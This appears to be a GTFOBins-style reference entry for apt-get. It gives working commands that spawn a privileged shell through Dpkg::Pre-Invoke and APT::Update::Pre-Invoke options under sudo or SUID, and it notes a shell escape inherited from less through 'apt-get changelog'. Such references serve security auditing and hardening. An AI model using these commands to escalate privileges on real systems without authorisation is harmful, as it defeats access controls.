apt-get

Shell

This executable can spawn an interactive system shell.

CommentFor this to work the target package (i.e., sl) must not be already installed.
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' >/path/to/temp-file
apt-get -y install -c /path/to/temp-file sl
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' >/path/to/temp-file
apt-get -y install -c /path/to/temp-file sl
```
CommentWhen the shell exits the update command is actually executed.
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
```

Inherit

This executable can inherit functions from another.

Unprivileged
This function can be performed by any unprivileged user.
```
apt-get changelog apt
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
apt-get changelog apt
```
Functions
Inherits from less, thus possibly granting its functions.